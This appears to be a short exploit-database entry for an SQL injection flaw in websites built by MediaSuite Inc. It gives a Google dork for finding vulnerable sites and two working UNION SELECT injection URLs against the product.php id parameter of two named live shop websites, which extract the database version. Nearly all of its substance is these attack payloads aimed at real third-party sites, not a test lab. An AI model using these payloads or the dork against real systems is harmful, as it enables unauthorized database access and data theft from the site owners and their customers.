********************************************************* #Exploit Title: MediaSuite Inc - Sql Injection #Date: 2023-12-25 #Exploit Author: Behrouz Mansoori #Google Dork: "Website Designed by MediaSuite Inc." #Category:webapps #Tested On: Mac, Firefox Proof of Concept: ### Demo : view-source:https://www.simplycountryfurniture.ca/product.php?id=-7%20union%20select%20111111,22222,version(),44444,55555,6666,7777,8888,99999-- view-source:https://www.eminentgraphics.ca/product.php?id=-12%20union%20select%201111,2222,version(),4444,555,666,777,888,9999-- ********************************************************* #Discovered by: Behrouz mansoori #Instagram: Behrouz_mansoori #Email: mr.mansoori@yahoo.com *********************************************************